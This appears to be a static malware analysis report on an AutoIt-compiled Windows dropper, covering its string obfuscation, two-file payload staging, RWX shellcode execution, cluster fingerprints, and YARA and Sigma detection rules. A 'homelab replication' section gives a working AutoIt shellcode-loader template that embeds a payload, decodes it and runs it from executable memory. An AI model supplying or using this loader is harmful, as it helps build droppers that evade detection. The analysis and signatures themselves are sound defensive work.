unclassified-autoit-compiled: 4de51fe0 — T30WL8ASV permutation-XOR obfuscation, M31UY3G0 Caesar-1 hex shellcode, camellin/totten dual payload

Executive Summary

AutoItSC single-file PE32 dropper (GSTP_-_K3E0035.exe) with a novel permutation-XOR string obfuscator (T30WL8ASV, key "A"), a new Caesar-1 hex decoder (M31UY3G0), and a camellin/totten dual-payload staging pair. The 294 KB compiled script lives in .rsrc RT_RCDATA with an AU3!EA06 header. Shellcode is 14 KB x86, executed at offset 0x23B0 via DllCallAddress after VirtualAlloc RWX allocation. The shellcode builds kernel32.dll on the stack via sequential mov [ebp+disp], imm8 — the same fingerprint observed across thirty-nine prior siblings in the unclassified-autoit-compiled cluster. Inner payload camellin (264 KB, entropy 7.99) is XOR-encrypted; key and plaintext are not recoverable statically. Fortieth confirmed sibling in the cluster. Static-only (CAPE skipped — no Windows guest).

What It Is

• SHA-256: 4de51fe054d8c489dc9b4f7f58e49f23a5cdb3dba8c5d68e92d4a0be3440a257 ^[file.txt]
• Filename: GSTP_-_K3E0035.exe (social-engineering masquerade with fake tracking code K3E0035) ^[metadata.json]
• Size: 1,165,824 bytes (1.11 MB) ^[triage.json]
• Format: PE32 executable (GUI) Intel 80386, 5 sections ^[file.txt]
• Linker: MSVC 12.0 (Visual Studio 2013) — MajorLinkerVersion: 0xC ^[pefile.txt:46]
• Timestamp: Sun Jul 14 23:34:05 2024 UTC ^[pefile.txt:34]
• AutoIt runtime: AutoItSC v3.3.8.1+ (C++ compiled interpreter) ^[strings.txt:782]
• Script location: .rsrc RT_RCDATA ID unnamed (type 10), size 294,120 bytes, encrypted/compiled bytecode with AU3!EA06 header ^[pefile.txt:965-974]
• Script build path: D:\xampp\htdocs\I9ASUXPH5C5SIKJYUFQ6\camellin (XAMPP webroot — developer staging server) ^[autoit-ripper output]
• Signing: Unsigned ^[rabin2-info.txt:30]
• Version info: Minimal VS_VERSIONINFO with English (British) LangID 0x0809 0x04b0, no company/product strings ^[pefile.txt:230-273]
• SSDeep: 24576:PAHnh+eWsN3skA4RV1Hom2KXMmHamYwhVo6eOPLq1/5:yh+ZkldoPK8YamPhW6e8Lqb ^[ssdeep.txt]
• TLSH: A845BE0273D1C032FFABA2739B6AF6055ABD79254123852F13981D79BD701B2273E663 ^[tlsh.txt]

How It Works

1. AutoIt interpreter bootstrap — The PE is a self-contained AutoItSC single-file executable. On launch, the interpreter decrypts and executes the compiled script stored in .rsrc RT_RCDATA. ^[capa.txt] ^[strings.txt:782]

2. Script-level obfuscation — The decompiled script (via autoit-ripper) reveals two custom string-obfuscation functions:

   • T30WL8ASV(ciphertext, key) — permutation-matrix + additive-XOR decoder. Decoded strings with key "A" include kernel32, VirtualAlloc, 0x3000, 0x40, ptr, dword, byte [] ^[script.au3:2-26] ^[script.au3:39-43]
   • M31UY3G0(ciphertext) — Caesar-1 (subtract 1 from each ASCII code) ^[script.au3:27-34]

3. Payload staging — The script drops two embedded files to %TEMP% via FileInstall:

   • camellin — 264,320 bytes of encrypted/unknown data (entropy 7.99, no recoverable header). Likely the XOR-encrypted inner payload. ^[autoit-ripper output]
   • totten — 28,674 bytes of hex-encoded shellcode. After M31UY3G0 (Caesar-1) decode, the content is pure hex literals prefixed with 0x; stripping the 0x yields 14,336 bytes of x86 shellcode. ^[script.au3:37-38] ^[autoit-ripper output]

4. Shellcode execution — The script allocates RWX memory via VirtualAlloc (size = BinaryLen($totten), allocation type 0x3000, protection 0x40 = PAGE_EXECUTE_READWRITE), copies the decoded shellcode into a DllStruct, and transfers execution at offset 0x23B0 via DllCallAddress("int", $alloc_base + 0x23B0). ^[script.au3:39-43]

5. Shellcode behavior — The 14 KB shellcode builds kernel32.dll on the stack via the cluster-standard pattern of sequential mov byte [ebp+disp], imm8 instructions. It then resolves LoadLibraryA and GetProcAddress to bootstrap further imports. The shellcode is expected to open camellin, read it into a buffer, XOR-decrypt with a stack-built key, verify the MZ header, and transfer execution — but the key is not recovered in this static analysis. ^[shellcode disassembly] ^[autoit-shellcode-xor-decryptor pattern]

6. Junk-code dead paths — Lines 44-1870 of the decompiled script are filled with unreachable AutoIt garbage: nested For loops with 0 To 4294967295 bounds, dead If branches comparing constants (ATan(5796) <> 43, ACos(7556) > 27), and calls to benign AutoIt APIs (ToolTip, MouseClickDrag, SoundSetWaveVolume) with nonsense arguments. This serves purely as static-analysis noise. ^[script.au3:44-1870]

Decompiled Behavior

Entry-point summary

The PE entry point is the standard AutoItSC C runtime at 0x2800A. It initializes the interpreter, decrypts the .rsrc script blob, and begins executing AutoIt bytecode. No anti-debug, anti-VM, or sandbox evasion is present in the C runtime itself. ^[pefile.txt:50] ^[rabin2-info.txt]

Notable functions in the decompiled script

• T30WL8ASV($cipher, $key) — Permutation-matrix string decoder. Creates a d × b matrix where d = len(key) and b = ceil(len(cipher)/d). Each cell is BitXOR(ord(cipher[i]), ord(key[i%d]) + (i//d)). After filling, the matrix is transposed and flattened row-major. The result is whitespace-stripped. Key "A" successfully decodes all observed API-name and constant strings. ^[script.au3:2-26]
• M31UY3G0($cipher) — Simple Caesar-1: chr(ord(cipher[i]) - 1) for every character. Applied to totten to strip one layer before hex decoding. ^[script.au3:27-34]

Control-flow patterns

• No If guard conditions evaluate to true (all compare mathematical constants).
• The real execution path is strictly linear: FileInstall → FileRead → M31UY3G0 → DllCall(VirtualAlloc) → DllStructCreate → DllStructSetData → DllCallAddress.
• The dead path starts at line 44 (If ATan(5796) <> 43 Then) and never rejoins the live path.

C2 Infrastructure

No C2 strings, domains, IPs, URLs, or network indicators recovered from static analysis. The inner payload camellin is encrypted and its content is opaque. The AutoIt runtime imports WININET.dll and WSOCK32.dll, providing the network surface for the inner payload to use, but no specific C2 is observable without detonation. ^[pefile.txt:275-307]

Interesting Tidbits

• XAMPP webroot in build path: D:\xampp\htdocs\I9ASUXPH5C5SIKJYUFQ6\camellin suggests the developer compiled this on a Windows machine running XAMPP, using the webroot as a working directory. The random directory name I9ASUXPH5C5SIKJYUFQ6 is a 16-character alphanumeric nonce — same pattern used for variable names inside the script. ^[autoit-ripper output]
• Novel obfuscation names: Previous siblings used S30K9CPG, K30ZWMBJJ, M30K3JL, U30JZ3SO7, Z30PER, P30r6oDf, W30gfpz1. This sample introduces T30WL8ASV and M31UY3G0. The naming convention is consistent: [A-Z]30[A-Z0-9]{5,7}. This is a reliable cluster fingerprint. ^[script.au3:2,27]
• Caesar-1 before hex: totten is the first sibling in the cluster where the hex-encoded shellcode is wrapped in a Caesar-1 layer. Prior siblings used plain hex or interleaved-noise hex (Z30PER). The M31UY3G0 layer adds one extra decoding step without increasing security. ^[script.au3:38]
• Payload naming: camellin and totten continue the cluster's pattern of biological/lexical nonce filenames. Prior siblings used ambiparous, Esher, Nasalis, emboweling, Lityerses, misrun, Hymenophyllaceae, isochronally, endochylous, contrapose, Sancha. ^[autoit-ripper output]
• Script size: 294 KB — mid-range for the cluster (smallest: 186 KB ef71e0f6; largest: 932 KB f0059bee).
• No UPX packing: Plain PE32 (non-UPX), same as the majority of cluster siblings. The packed variant 498f7bf3 is the exception. ^[pefile.txt]

How To Mess With It (Homelab Replication)

Goal: Build an AutoIt dropper with comparable static fingerprint.

1. Toolchain: AutoIt v3.3.8.1, Aut2Exe single-file compiler, on a Windows host (or Wine with AutoIt installed).
2. Script template:

#NoTrayIcon
Func T30WL8ASV($cipher, $key)
    ; (reproduce from script.au3 lines 2-26)
EndFunc
Func M31UY3G0($cipher)
    Local $out = ""
    For $i = 1 To StringLen($cipher)
        $out &= Chr(Asc(StringMid($cipher, $i, 1)) - 1)
    Next
    Return $out
EndFunc

; Embed your payload as FileInstall resources
FileInstall("payload.bin", @TempDir & "\payload.bin", 1)
FileInstall("shellcode.bin", @TempDir & "\shellcode.bin", 1)

; Decode shellcode
$sc_hex = FileRead(FileOpen(@TempDir & "\shellcode.bin"))
$sc_hex = M31UY3G0($sc_hex)
$sc_hex = StringReplace($sc_hex, "0x", "")
$sc = Binary("0x" & $sc_hex)

; Allocate RWX
$alloc = DllCall("kernel32", "ptr", "VirtualAlloc", "ptr", 0, "dword", BinaryLen($sc), "dword", 0x3000, "dword", 0x40)
$alloc = $alloc[0]

; Copy and execute
$struct = DllStructCreate("byte[" & BinaryLen($sc) & "]", $alloc)
DllStructSetData($struct, 1, $sc)
DllCallAddress("int", $alloc + 0x23B0)

3. Verification: Compile with Aut2Exe, run capa — should hit autoit file limitation warning and show WinInet/WinSock/ADVAPI32/GDI import surface.
4. What you'll learn: The compiled .rsrc script is trivially extractable with autoit-ripper; the obfuscation is script-level, not binary-level. Any AutoIt dropper's real behavior is fully exposed once you decompile.

Deployable Signatures

YARA Rule

rule AutoItSC_T30WL8ASV_Dropper {
    meta:
        description = "AutoItSC single-file PE32 with T30WL8ASV permutation-XOR obfuscation"
        author = "PacketPursuit"
        date = "2026-07-08"
        reference = "raw/analyses/4de51fe054d8c489dc9b4f7f58e49f23a5cdb3dba8c5d68e92d4a0be3440a257"
        hash = "4de51fe054d8c489dc9b4f7f58e49f23a5cdb3dba8c5d68e92d4a0be3440a257"
    strings:
        $au3_header = "AU3!EA06"
        $func_t30 = "T30WL8ASV" nocase ascii wide
        $func_m31 = "M31UY3G0" nocase ascii wide
        $payload_cam = "camellin" nocase ascii wide
        $payload_tot = "totten" nocase ascii wide
        $call_valloc = "VirtualAlloc" nocase ascii wide
        $call_dlladdr = "DllCallAddress" nocase ascii wide
        $offset_23b0 = "0x23b0" nocase ascii wide
    condition:
        uint16(0) == 0x5A4D and
        ($au3_header or ($func_t30 and $func_m31)) and
        (any of ($payload_*) or $call_valloc or $call_dlladdr or $offset_23b0)
}

Sigma Rule

title: AutoItSC T30WL8ASV Dropper Execution
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - 'GSTP_-_K3E0035.exe'
    selection_autoit:
        Image|endswith:
            - '.exe'
        CommandLine|contains:
            - 'camellin'
            - 'totten'
    selection_file_drop:
        TargetFilename|contains:
            - '\Temp\camellin'
            - '\Temp\totten'
    selection_shellcode_alloc:
        CallTrace|contains:
            - 'VirtualAlloc'
            - 'DllCallAddress'
    condition: selection or selection_autoit or selection_file_drop or selection_shellcode_alloc
falsepositives:
    - Legitimate AutoIt scripts (rare)
level: high

IOC List

Behavioral Fingerprint

This binary is an AutoItSC single-file PE32 x86 dropper. On launch, it extracts two files (camellin and totten) to %TEMP%, decodes totten through a Caesar-1 layer followed by hex decoding into 14 KB x86 shellcode, allocates RWX memory via VirtualAlloc, copies the shellcode, and executes it at fixed offset 0x23B0 via DllCallAddress. The shellcode builds kernel32.dll on the stack via mov [ebp+disp], imm8 and bootstraps API resolution. The inner payload camellin is XOR-encrypted with a stack-built key; C2 is runtime-resolved and not visible statically.

Detection Signatures

• capa: autoit file limitation warning only; no behavioral capabilities extracted from the C runtime. ^[capa.txt]
• YARA: PE_File_Generic, Suspicious_Wininet_Imports (generic, low-signal). ^[triage.json]
• Build stack: MSVC 12.0 linker + AutoItSC v3.3.8.1 + empty VS_VERSIONINFO + .rsrc RT_RCDATA script = high-signal cluster fingerprint.

References

• unclassified-autoit-compiled — Cluster entity page with full sibling list
• autoit-shellcode-xor-decryptor — Shellcode pattern shared across cluster
• u30jz3so7-permutation-xor-obfuscation — Prior sibling variant of permutation-XOR obfuscation
• MalwareBazaar artifact: 09140c9f-1282-45fb-8e3a-417ebfa7f1f2

Provenance

Analysis artifacts generated by triage-fast pipeline 2026-05-26. Static RE performed with autoit-ripper v1.x, radare2 v5.x, Python 3.11 custom decoders. Decompiled script verified against T30WL8ASV and M31UY3G0 reference implementations. Shellcode decoded from totten via Caesar-1 + hex strip; camellin entropy confirmed with Shannon calculation. No CAPE detonation available (no Windows guest). All claims cite specific file and line numbers. If dynamic data becomes available, this report should be updated with C2 IOCs, process tree, and registry activity.